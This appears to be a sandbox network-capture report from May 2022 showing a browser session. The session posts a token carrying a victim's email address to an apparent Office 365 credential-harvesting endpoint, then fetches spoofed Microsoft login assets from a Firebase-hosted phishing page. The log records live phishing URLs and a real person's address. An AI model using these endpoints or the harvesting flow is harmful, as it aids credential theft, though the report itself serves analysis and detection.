Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

2022-05-13 14:40:23 UTC 1350 OUT Data Raw: 2d 2d 2d 2d 2d 2d 57 65 62 4b 69 74 46 6f 72 6d 42 6f 75 6e 64 61 72 79 59 42 6d 57 55 6a 4f 55 34 62 6f 41 
58 70 53 56 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 
6d 65 3d 22 64 6b 34 68 31 36 35 32 34 38 35 32 32 33 31 35 32 22 0d 0a 0d 0a 65 79 4a 68 62 47 63 69 4f 69 4a 49 55 
7a 49 31 4e 69 4a 39 2e 65 79 4a 30 61 57 31 6c 62 48 6b 69 4f 6a 45 32 4e 54 49 30 4f 44 55 79 4d 6a 4d 78 4e 54 49 
73 49 6d 55 69 4f 69 4a 79 63 6d 39 7a 63 30 42 77 59 58 4a 34 59 32 46 7a 61 57 35 76 4c 6d 4e 76 62 53 49 73 49 6e 
52 35 63 47 56 66 59 57 4d 69 4f 69 4a 32 59 57 78 70 5a 47 39 6d 5a 6a 4d 32 4e 58 4a 6c 49 6e 30 2e 72 62 54 33 64 
73 6d 32 49 32 31 65 6f 6b 36 4c 33 68 33 37 44 73 54 4f 50 4f 63 34 
Data Ascii: ------WebKitFormBoundaryYBmWUjOU4boAXpSVContent-Disposition: form-data; name="dk4h165248
5223152"eyJhbGciOiJIUzI1NiJ9.eyJ0aW1lbHkiOjE2NTI0ODUyMjMxNTIsImUiOiJycm9zc0BwYXJ4Y2FzaW5vL
mNvbSIsInR5cGVfYWMiOiJ2YWxpZG9mZjM2NXJlIn0.rbT3dsm2I21eok6L3h37DsTOPOc4

2022-05-13 14:40:23 UTC 1350 IN HTTP/1.1 405 Method Not Allowed
Date: Fri, 13 May 2022 14:40:23 GMT
Content-Type: application/json; charset=utf-8
Content-Length: 8
Connection: close
Access-Control-Allow-Origin: null
Access-Control-Allow-Methods: GET, POST, DELETE, PUT, PATCH, OPTIONS
Access-Control-Allow-Headers: authkey , authvalue, Authorization, User-Agent, Keep-Alive, Content-Type, X-Requested-
With
Access-Control-Allow-Credentials: true
Cache-Control: no-cache, must-revalidate
Pragma: no-cache
Expires: Mon, 25 Jul 1997 05:00:00 GMT
CF-Cache-Status: DYNAMIC
Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct"
Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=3WKZ3rGhLd%2FhRN7XvyF42eaxr21QV9
X76kewrB4SFly7ipEZGShz5m7iHf36lOjoHdFWndGbAgHdNdquNuWB7Jk%2BNjAZnYQAYBUcmIec596WHlSO1fD8Ue
sPY%2B1PKg%3D%3D"}],"group":"cf-nel","max_age":604800}
NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
Server: cloudflare
CF-RAY: 70ac2622fe116933-FRA
alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400

2022-05-13 14:40:23 UTC 1351 IN Data Raw: 45 58 50 49 52 45 44 21 
Data Ascii: EXPIRED!

Session ID Source IP Source Port Destination IP
Destination
Port

Process

48 192.168.2.3 49782 35.190.80.1 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data
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2022-05-13 14:40:24 UTC 1351 OUT OPTIONS /report/v3?s=3WKZ3rGhLd%2FhRN7XvyF42eaxr21QV9X76kewrB4SFly7ipEZGShz5m7iHf36lOjoHdF
WndGbAgHdNdquNuWB7Jk%2BNjAZnYQAYBUcmIec596WHlSO1fD8UesPY%2B1PKg%3D%3D HTTP/1.1
Host: a.nel.cloudflare.com
Connection: keep-alive
Origin: https://etools.page
Access-Control-Request-Method: POST
Access-Control-Request-Headers: content-type
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

2022-05-13 14:40:24 UTC 1352 IN HTTP/1.1 200 OK
content-length: 0
access-control-max-age: 86400
access-control-allow-methods: POST, OPTIONS
access-control-allow-origin: *
access-control-allow-headers: content-length, content-type
date: Fri, 13 May 2022 14:40:24 GMT
Via: 1.1 google
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
Connection: close

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

49 192.168.2.3 49784 35.190.80.1 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:40:24 UTC 1352 OUT POST /report/v3?s=3WKZ3rGhLd%2FhRN7XvyF42eaxr21QV9X76kewrB4SFly7ipEZGShz5m7iHf36lOjoHdFWnd
GbAgHdNdquNuWB7Jk%2BNjAZnYQAYBUcmIec596WHlSO1fD8UesPY%2B1PKg%3D%3D HTTP/1.1
Host: a.nel.cloudflare.com
Connection: keep-alive
Content-Length: 507
Content-Type: application/reports+json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

2022-05-13 14:40:24 UTC 1353 OUT Data Raw: 5b 7b 22 61 67 65 22 3a 33 2c 22 62 6f 64 79 22 3a 7b 22 65 6c 61 70 73 65 64 5f 74 69 6d 65 22 3a 34 37 32 
2c 22 6d 65 74 68 6f 64 22 3a 22 50 4f 53 54 22 2c 22 70 68 61 73 65 22 3a 22 61 70 70 6c 69 63 61 74 69 6f 6e 22 2c 22 
70 72 6f 74 6f 63 6f 6c 22 3a 22 68 74 74 70 2f 31 2e 31 22 2c 22 72 65 66 65 72 72 65 72 22 3a 22 22 2c 22 73 61 6d 70 
6c 69 6e 67 5f 66 72 61 63 74 69 6f 6e 22 3a 31 2e 30 2c 22 73 65 72 76 65 72 5f 69 70 22 3a 22 31 38 38 2e 31 31 34 
2e 39 36 2e 31 30 22 2c 22 73 74 61 74 75 73 5f 63 6f 64 65 22 3a 34 30 35 2c 22 74 79 70 65 22 3a 22 68 74 74 70 2e 
65 72 72 6f 72 22 7d 2c 22 74 79 70 65 22 3a 22 6e 65 74 77 6f 72 6b 2d 65 72 72 6f 72 22 2c 22 75 72 6c 22 3a 22 68 74 
74 70 73 3a 2f 2f 65 74 6f 6f 6c 73 2e 70 61 67 65 2f 72 65 2f 
Data Ascii: [{"age":3,"body":{"elapsed_time":472,"method":"POST","phase":"application","protocol":"http/1.1","referrer":
"","sampling_fraction":1.0,"server_ip":"188.114.96.10","status_code":405,"type":"http.error"},"type":"network-error","ur
l":"https://etools.page/re/

2022-05-13 14:40:24 UTC 1353 IN HTTP/1.1 200 OK
content-length: 0
date: Fri, 13 May 2022 14:40:24 GMT
Via: 1.1 google
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
Connection: close

Session ID Source IP Source Port Destination IP
Destination
Port

Process

5 192.168.2.3 49707 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:39:56 UTC 71 OUT GET /image/apps.16574.13571498826857201.00a9d390-581f-492c-b148-b2ce81649480.6a6f592e-efa9-4bb0-b008-
7c3422ab3313?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive
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2022-05-13 14:39:57 UTC 71 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 1493
Content-Type: image/png
Last-Modified: Mon, 30 Aug 2021 15:07:39 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDk2QkM3RThDNTBCMzY"
MS-CV: WqthG07BiE+6pHh5.0
Access-Control-Expose-Headers: MS-CV
Date: Fri, 13 May 2022 14:39:57 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-05-13 14:39:57 UTC 72 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 03 00 00 00 d0 23 c0 3a 00 00 
02 58 50 4c 54 45 1d b9 54 ff ff ff fe fe fe 1f b9 56 f8 fd fa a4 e3 ba fa fd fb 2c bd 5f 24 bb 59 b7 e8 c8 61 ce 87 9f e1 b6 1e 
b9 55 fd fe fd 21 ba 57 2f be 62 6a d1 8f d3 f1 de 82 d8 a1 5e cd 85 c8 ee d6 fc fe fc 22 ba 58 24 bb 5a d5 f2 df f9 fd fa 20 
ba 56 47 c6 74 f7 fc f9 23 ba 58 ba e9 cb ec f9 f0 cb ef d8 4c c7 78 91 dc ab bf eb ce db f4 e4 28 bc 5c 73 d3 95 d9 f3 e2 
2a bd 5e cc ef d8 9b e0 b3 cf f0 da e1 f5 e8 2e be 61 cd ef d9 68 d0 8d 80 d7 9f e5 f7 eb df f5 e7 e0 f5 e8 46 c5 73 eb f8 f0 
ed f9 f1 53 c9 7c de f4 e6 b8 e9 c9 9d e0 b5 a1 e1 b7 e7 f7 ec 49 c6 75 64 cf 8a 5c cc 84 be ea ce ef fa f2 f0 fa f4 d0 f0 dc 
57 cb 80 7f d7 9e f4 fb f6 42 
Data Ascii: PNGIHDR#:XPLTETV,_$YaU!W/bj^"X$Z VGt#XLx(\s*^.ahFsS|Iud\WB

Timestamp
kBytes
transferred

Direction Data

Session ID Source IP Source Port Destination IP
Destination
Port

Process

50 192.168.2.3 49788 199.36.158.100 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:40:27 UTC 1353 OUT GET /cvnmkyjthrsdgvzx/themes/imgs/microsoft_logo.svg HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.
183 Safari/537.36
Host: rimorecndappz.firebaseapp.com

2022-05-13 14:40:27 UTC 1354 IN HTTP/1.1 200 OK
Connection: close
Content-Length: 3651
Cache-Control: max-age=3600
Content-Type: image/svg+xml
Etag: "a88f22478e52f27f6f24668e3ff397bf66ba51e21b2cc2375100de1d281417be"
Last-Modified: Thu, 14 Apr 2022 17:10:06 GMT
Strict-Transport-Security: max-age=31556926; includeSubDomains; preload
Accept-Ranges: bytes
Date: Fri, 13 May 2022 14:40:27 GMT
X-Served-By: cache-fra19183-FRA
X-Cache: HIT
X-Cache-Hits: 1
X-Timer: S1652452828.943584,VS0,VE1
Vary: x-fh-requested-host, accept-encoding

2022-05-13 14:40:27 UTC 1354 IN Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 
76 67 22 20 77 69 64 74 68 3d 22 31 30 38 22 20 68 65 69 67 68 74 3d 22 32 34 22 20 76 69 65 77 42 6f 78 3d 22 30 20 
30 20 31 30 38 20 32 34 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 70 61 74 68 20 64 3d 
22 4d 34 34 2e 38 33 36 2c 34 2e 36 56 31 38 2e 34 68 2d 32 2e 34 56 37 2e 35 38 33 48 34 32 2e 34 4c 33 38 2e 31 31 
39 2c 31 38 2e 34 48 33 36 2e 35 33 31 4c 33 32 2e 31 34 32 2c 37 2e 35 38 33 68 2d 2e 30 32 39 56 31 38 2e 34 48 32 
39 2e 39 56 34 2e 36 68 33 2e 34 33 36 4c 33 37 2e 33 2c 31 34 2e 38 33 68 2e 30 35 38 4c 34 31 2e 35 34 35 2c 34 2e 
36 5a 6d 32 2c 31 2e 30 34 39 61 31 2e 32 36 38 2c 31 2e 32 36 38 2c 30 
Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title>
<path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37
.3,14.83h.058L41.545,4.6Zm2,1.049a1.268,1.268,0

2022-05-13 14:40:27 UTC 1356 IN Data Raw: 30 2c 30 2c 31 2d 33 2e 36 35 32 2d 31 2e 33 35 32 41 34 2e 39 38 37 2c 34 2e 39 38 37 2c 30 2c 30 2c 31 
2c 36 36 2e 34 30 36 2c 31 33 2e 36 6d 32 2e 34 32 35 2d 2e 30 37 37 61 33 2e 35 33 35 2c 33 2e 35 33 35 2c 30 2c 30 
2c 30 2c 2e 37 2c 32 2e 33 36 38 2c 32 2e 35 30 35 2c 32 2e 35 30 35 2c 30 2c 30 2c 30 2c 32 2e 30 31 31 2e 38 31 38 2
c 32 2e 33 34 35 2c 32 2e 33 34 35 2c 30 2c 30 2c 30 2c 31 2e 39 33 34 2d 2e 38 31 38 2c 33 2e 37 38 33 2c 33 2e 37 38 
33 2c 30 2c 30 2c 30 2c 2e 36 36 34 2d 32 2e 34 32 35 2c 33 2e 36 35 31 2c 33 2e 36 35 31 2c 30 2c 30 2c 30 2d 2e 36 
38 38 2d 32 2e 34 31 31 2c 32 2e 33 38 39 2c 32 2e 33 38 39 2c 30 2c 30 2c 30 2d 31 2e 39 32 39 2d 2e 38 31 33 2c 32 
2e 34 34 2c 32 2e 34 34 2c 30 2c 30 2c 30 2d 31 2e 39 38 38 2e 38 35 32 
Data Ascii: 0,0,1-3.652-1.352A4.987,4.987,0,0,1,66.406,13.6m2.425-.077a3.535,3.535,0,0,0,.7,2.368,2.505,2.505,
0,0,0,2.011.818,2.345,2.345,0,0,0,1.934-.818,3.783,3.783,0,0,0,.664-2.425,3.651,3.651,0,0,0-.688-2.411,2.389,2
.389,0,0,0-1.929-.813,2.44,2.44,0,0,0-1.988.852

2022-05-13 14:40:27 UTC 1357 IN Data Raw: 39 2c 30 2c 30 2c 30 2d 31 2e 39 38 37 2e 38 35 32 2c 33 2e 37 30 37 2c 33 2e 37 30 37 2c 30 2c 30 2c 30 2d 
2e 37 30 37 2c 32 2e 34 33 6d 31 35 2e 34 36 34 2d 33 2e 31 30 39 48 39 39 2e 37 56 31 38 2e 34 48 39 37 2e 33 34 31 
56 31 30 2e 34 31 32 48 39 35 2e 36 38 36 56 38 2e 35 30 37 68 31 2e 36 35 35 56 37 2e 31 33 61 33 2e 34 32 33 2c 33 
2e 34 32 33 2c 30 2c 30 2c 31 2c 31 2e 30 31 35 2d 32 2e 35 35 35 2c 33 2e 35 36 31 2c 33 2e 35 36 31 2c 30 2c 30 2c 3
1 2c 32 2e 36 2d 31 2c 35 2e 38 30 37 2c 35 2e 38 30 37 2c 30 2c 30 2c 31 2c 2e 37 35 31 2e 30 34 33 2c 32 2e 39 39 33 
2c 32 2e 39 39 33 2c 30 2c 30 2c 31 2c 2e 35 37 37 2e 31 33 56 35 2e 37 36 34 61 32 2e 34 32 32 2c 32 2e 34 32 32 2c 
30 2c 30 2c 30 2d 2e 34 2d 2e 31 36 34 2c 32 2e 31 30 37 2c 32 2e 31 
Data Ascii: 9,0,0,0-1.987.852,3.707,3.707,0,0,0-.707,2.43m15.464-3.109H99.7V18.4H97.341V10.412H95.686V8.507h1.
655V7.13a3.423,3.423,0,0,1,1.015-2.555,3.561,3.561,0,0,1,2.6-1,5.807,5.807,0,0,1,.751.043,2.993,2.993,0,0,1,.5
77.13V5.764a2.422,2.422,0,0,0-.4-.164,2.107,2.1
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Session ID Source IP Source Port Destination IP
Destination
Port

Process

51 192.168.2.3 49789 199.36.158.100 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:40:27 UTC 1353 OUT GET /cvnmkyjthrsdgvzx/themes/imgs/ellipsis_white.svg HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.
183 Safari/537.36
Host: rimorecndappz.firebaseapp.com

2022-05-13 14:40:27 UTC 1358 IN HTTP/1.1 200 OK
Connection: close
Content-Length: 915
Cache-Control: max-age=3600
Content-Type: image/svg+xml
Etag: "b1336d85e1a0c89eea2a4969953d0326f0faedd47871ea522033f7f6e513ea57"
Last-Modified: Thu, 14 Apr 2022 17:10:06 GMT
Strict-Transport-Security: max-age=31556926; includeSubDomains; preload
Accept-Ranges: bytes
Date: Fri, 13 May 2022 14:40:27 GMT
X-Served-By: cache-fra19150-FRA
X-Cache: HIT
X-Cache-Hits: 1
X-Timer: S1652452828.944201,VS0,VE1
Vary: x-fh-requested-host, accept-encoding

2022-05-13 14:40:27 UTC 1358 IN Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 
76 67 22 20 77 69 64 74 68 3d 22 31 36 22 20 68 65 69 67 68 74 3d 22 31 36 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 
20 31 36 20 31 36 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 70 61 74 68 20 66 69 6c 6c 
3d 22 23 66 66 66 66 66 66 22 20 64 3d 22 4d 31 2e 31 34 33 2c 36 2e 38 35 37 61 31 2e 31 30 37 2c 31 2e 31 30 37 2c 
30 2c 30 2c 31 2c 2e 34 34 36 2e 30 38 39 2c 31 2e 31 36 34 2c 31 2e 31 36 34 2c 30 2c 30 2c 31 2c 2e 36 30 37 2e 36 
30 37 2c 31 2e 31 36 31 2c 31 2e 31 36 31 2c 30 2c 30 2c 31 2c 30 2c 2e 38 39 33 2c 31 2e 31 36 34 2c 31 2e 31 36 34 
2c 30 2c 30 2c 31 2d 2e 36 30 37 2e 36 30 37 2c 31 2e 31 30 37 2c 31 2e 
Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" viewBox="0 0 16 16"><title>assets</title>
<path fill="#ffffff" d="M1.143,6.857a1.107,1.107,0,0,1,.446.089,1.164,1.164,0,0,1,.607.607,1.161,1.161,0,0,1,0,.89
3,1.164,1.164,0,0,1-.607.607,1.107,1.

Session ID Source IP Source Port Destination IP
Destination
Port

Process

52 192.168.2.3 49790 199.36.158.100 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:40:28 UTC 1359 OUT GET /cvnmkyjthrsdgvzx/themes/imgs/ellipsis_grey.svg HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.
183 Safari/537.36
Host: rimorecndappz.firebaseapp.com

2022-05-13 14:40:28 UTC 1359 IN HTTP/1.1 200 OK
Connection: close
Content-Length: 915
Cache-Control: max-age=3600
Content-Type: image/svg+xml
Etag: "8bd35fb6e43a52fbd3fac4f46b28b8cc71b6f00e2b06636395e54a9c210d997e"
Last-Modified: Thu, 14 Apr 2022 17:10:06 GMT
Strict-Transport-Security: max-age=31556926; includeSubDomains; preload
Accept-Ranges: bytes
Date: Fri, 13 May 2022 14:40:28 GMT
X-Served-By: cache-fra19130-FRA
X-Cache: HIT
X-Cache-Hits: 1
X-Timer: S1652452828.291900,VS0,VE1
Vary: x-fh-requested-host, accept-encoding

2022-05-13 14:40:28 UTC 1360 IN Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 
76 67 22 20 77 69 64 74 68 3d 22 31 36 22 20 68 65 69 67 68 74 3d 22 31 36 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 
20 31 36 20 31 36 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 70 61 74 68 20 66 69 6c 6c 
3d 22 23 37 37 37 37 37 37 22 20 64 3d 22 4d 31 2e 31 34 33 2c 36 2e 38 35 37 61 31 2e 31 30 37 2c 31 2e 31 30 37 2c 
30 2c 30 2c 31 2c 2e 34 34 36 2e 30 38 39 2c 31 2e 31 36 34 2c 31 2e 31 36 34 2c 30 2c 30 2c 31 2c 2e 36 30 37 2e 36 
30 37 2c 31 2e 31 36 31 2c 31 2e 31 36 31 2c 30 2c 30 2c 31 2c 30 2c 2e 38 39 33 2c 31 2e 31 36 34 2c 31 2e 31 36 34 
2c 30 2c 30 2c 31 2d 2e 36 30 37 2e 36 30 37 2c 31 2e 31 30 37 2c 31 2e 
Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="16" height="16" viewBox="0 0 16 16"><title>assets</title>
<path fill="#777777" d="M1.143,6.857a1.107,1.107,0,0,1,.446.089,1.164,1.164,0,0,1,.607.607,1.161,1.161,0,0,1,0,.89
3,1.164,1.164,0,0,1-.607.607,1.107,1.

Session ID Source IP Source Port Destination IP
Destination
Port

Process

53 192.168.2.3 49791 13.107.219.60 443 C:\Program Files\Google\Chrome\Application\chrome.exe
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Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:40:28 UTC 1361 OUT GET /ests/2.1/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.
183 Safari/537.36
Host: aadcdn.msauth.net

2022-05-13 14:40:28 UTC 1361 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=31536000
Content-Length: 673
Content-Type: image/svg+xml
Content-Encoding: gzip
Content-MD5: DhdidjYrlCeaRJJRG/y9mA==
Last-Modified: Thu, 13 Feb 2020 02:05:12 GMT
ETag: 0x8D7B0292911C366
Server: Windows-Azure-Blob/1.0 Microsoft-HTTPAPI/2.0
X-Cache: TCP_HIT
x-ms-request-id: ad91add4-d01e-002a-34f7-65a855000000
x-ms-version: 2009-09-19
x-ms-lease-status: unlocked
x-ms-blob-type: BlockBlob
Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control
,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding
Access-Control-Allow-Origin: *
X-Azure-Ref-OriginShield: 0u/Z8YgAAAADerY9qFOb5R5fdxyshml3cQU1TMDRFREdFMTgwNwAzOWExMmY3ZS0
4OTlmLTQ2Y2YtYTZkMC0yNGJiYmEyN2Q5NTY=
X-Azure-Ref: 03G1+YgAAAAC9KsNoduUfSo7GB4c2Efq4RlJBMjMxMDUwNDE5MDQ5ADM5YTEyZjdlLTg5OWYtNDZj
Zi1hNmQwLTI0YmJiYTI3ZDk1Ng==
Date: Fri, 13 May 2022 14:40:28 GMT
Connection: close

2022-05-13 14:40:28 UTC 1362 IN Data Raw: 1f 8b 08 00 00 00 00 00 04 00 b5 55 db 6e db 30 0c fd 15 c1 7d 69 1e ac 50 b2 ae 43 1c a0 37 6c 2f c3 0a 64 
fd 80 d4 b1 13 03 ae 1d d8 6e d3 f6 eb 47 ca f6 96 0c 79 6c 10 20 e6 91 45 f2 f0 98 94 16 dd db 96 bd bf 54 75 97 46 bb 
be df 7f 9b cf 0f 87 03 3f 24 bc 69 b7 73 09 00 73 dc 11 b1 43 b9 e9 77 69 24 bc 84 88 ed f2 72 bb eb 11 81 43 54 94 55 
95 46 75 53 e7 d1 72 b1 65 cd 7e 9d 95 fd 47 1a 71 19 b1 ac 2a f7 f1 7e 4d ae af 6d 75 7d f5 30 c3 3d 84 d9 26 8d 7e 0a 
65 0c 57 4c 58 af b9 cc bc 06 9e 58 06 88 25 70 17 1b 69 b9 96 13 12 0a 04 37 2b a9 84 e1 d6 c6 02 c0 b1 c1 3f d8 b1 d4 
0a cd c4 01 57 4e 0e 88 25 3e e1 a6 b3 16 d7 24 ed a6 08 63 bc 11 7d 4e f4 03 bb 9b 59 34 3f a2 97 78 c5 31 bf 13 9a 9b 
cc 2a c3 b5 23 76 89 16 c8 47 61 6c 39 01 21 02 39 81 41 
Data Ascii: Un0}iPC7l/dnGyl ETuF?$issCwi$rCTUFuSre~Gq*~Mmu}0=&~eWLXX%pi7+?WN%>$c}NY4?x1*#vGal9!9A

Session ID Source IP Source Port Destination IP
Destination
Port

Process

54 192.168.2.3 49794 23.211.6.115 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:40:28 UTC 1363 OUT GET /image/apps.51843.9007199266243449.90709ce3-050c-4cef-8d4a-9ef213b89ef2.c13e8407-eaf8-447a-a5d6-
9abd8bc2c1f3?format=source HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate, br
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.
140 Safari/537.36 Edge/17.17134
Host: store-images.s-microsoft.com
Connection: Keep-Alive

2022-05-13 14:40:28 UTC 1363 IN HTTP/1.1 200 OK
Cache-Control: public, max-age=7776000, s-maxage=7776000
Content-Length: 2132
Content-Type: image/png
Last-Modified: Tue, 06 Oct 2020 07:51:53 GMT
Accept-Ranges: none
ETag: W/"AEBa1e7txn2TDYI5ywciWaE/GFaMMdQgMHg4RDg2OUNDQjEyNkQ2RTQ"
MS-CV: io5H35z9qESL1hpw.0
Access-Control-Expose-Headers: MS-CV
Date: Fri, 13 May 2022 14:40:28 GMT
Connection: close
Access-Control-Allow-Origin: *

2022-05-13 14:40:28 UTC 1363 IN Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 8e 00 00 00 8e 08 03 00 00 00 d0 23 c0 3a 00 00 
02 46 50 4c 54 45 ff ff ff 22 90 d3 00 1f 37 00 1e 37 2b b0 fe 04 2e 4c 01 23 3d 00 1e 36 2c b1 ff 8f 9c a6 00 21 3a 03 2d 
4b 01 24 3f 15 67 9b 02 26 42 02 28 44 15 6a 9f 0f 55 81 06 36 57 00 21 3b 22 94 d8 1c 81 be 1f 8c ce 10 58 86 06 35 57 
10 58 87 1a 79 b3 01 24 3e 1d 86 c5 1f 8b cd 2a af fc 06 35 56 21 90 d3 15 6a 9e 1c 84 c2 19 78 b3 1a 7a b4 1d 85 c4 02 
27 43 19 77 b1 fe fe fe 14 66 99 19 77 b0 03 2c 4a 19 78 b2 1c 84 c3 2b af fd 28 a5 ef 10 59 88 1f 8c cd 0c 29 3f 2c 45 59 
05 22 39 2a ae fb 01 25 40 07 3a 5d 16 6e a4 04 2f 4d 20 90 d3 15 67 9c 0f 55 82 28 a7 f2 27 a4 ee 24 9a e1 08 3b 5e 0d 
4f 7a 00 1f 38 06 37 58 23 99 e0 00 20 39 21 91 d5 14 
Data Ascii: PNGIHDR#:FPLTE"77+.L#=6,!:-K$?g&B(DjU6W!;"X5WXy$>*5V!jxz'Cwfw,Jx+(Y)?,EY"9*%@:]n/M gU('$
;^Oz87X# 9!

Session ID Source IP Source Port Destination IP
Destination
Port

Process

55 192.168.2.3 49798 199.36.158.100 443 C:\Program Files\Google\Chrome\Application\chrome.exe
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Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:40:28 UTC 1366 OUT GET /cvnmkyjthrsdgvzx/themes/imgs/microsoft_logo.svg HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.
183 Safari/537.36
Host: rimorecndappz.firebaseapp.com
If-Modified-Since: Thu, 14 Apr 2022 17:10:06 GMT
If-None-Match: "a88f22478e52f27f6f24668e3ff397bf66ba51e21b2cc2375100de1d281417be"

2022-05-13 14:40:29 UTC 1366 IN HTTP/1.1 304 Not Modified
Connection: close
Date: Fri, 13 May 2022 14:40:29 GMT
Cache-Control: max-age=3600
ETag: "a88f22478e52f27f6f24668e3ff397bf66ba51e21b2cc2375100de1d281417be"
X-Served-By: cache-fra19155-FRA
X-Cache: HIT
X-Cache-Hits: 1
X-Timer: S1652452829.003748,VS0,VE1
Vary: x-fh-requested-host, accept-encoding

Session ID Source IP Source Port Destination IP
Destination
Port

Process

56 192.168.2.3 49799 199.36.158.100 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:40:28 UTC 1366 OUT GET /cvnmkyjthrsdgvzx/themes/imgs/ellipsis_white.svg HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.
183 Safari/537.36
Host: rimorecndappz.firebaseapp.com
If-Modified-Since: Thu, 14 Apr 2022 17:10:06 GMT
If-None-Match: "b1336d85e1a0c89eea2a4969953d0326f0faedd47871ea522033f7f6e513ea57"

2022-05-13 14:40:29 UTC 1367 IN HTTP/1.1 304 Not Modified
Connection: close
Date: Fri, 13 May 2022 14:40:29 GMT
Cache-Control: max-age=3600
ETag: "b1336d85e1a0c89eea2a4969953d0326f0faedd47871ea522033f7f6e513ea57"
X-Served-By: cache-fra19146-FRA
X-Cache: HIT
X-Cache-Hits: 1
X-Timer: S1652452829.019030,VS0,VE1
Vary: x-fh-requested-host, accept-encoding

Session ID Source IP Source Port Destination IP
Destination
Port

